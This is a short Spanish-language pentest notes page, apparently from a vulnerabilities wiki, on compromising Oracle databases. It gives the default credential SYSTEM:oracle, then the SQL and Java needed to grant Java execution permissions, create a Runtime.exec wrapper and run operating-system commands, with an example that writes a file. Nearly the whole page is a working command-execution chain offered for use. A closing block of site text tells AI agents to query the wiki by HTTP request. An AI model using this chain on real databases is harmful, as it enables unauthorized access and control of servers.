# Oracle

Probar credenciales por defecto:

SYSTEM:oracle

## Run OS Commands via Java

Una vez que se tenga acceso asignarse permisos:

```
grant javasyspriv to SYSTEM;
```

```
begin
  dbms_java.grant_permission
      ('SCOTT',
       'java.io.FilePermission',
       '<<ALL FILES>>',
       'execute');
  dbms_java.grant_permission
      ('SCOTT',
       'java.lang.RuntimePermission',
       '*',
       'writeFileDescriptor' );
end;
```

Una vez se tenga esos permisos crear el objeto java

```
create or replace and resolve java source named "JAVACMD" ASimport java.lang.*;import java.io.*;public class JAVACMD{ public static void execCommand (String command) throws IOException { Runtime.getRuntime().exec(command);} };
```

Crear el procedimiento:

```
create or replace procedure javacmdproc (p_command in varchar2)as language java name 'JAVACMD.execCommand (java.lang.String)';
```

Ejecutar los comandos deseados:

```
exec javacmdproc('cmd.exe /c echo 0wned > c:\rds4.txt');
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://zanganox.gitbook.io/vulnerabilidades/oracle.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
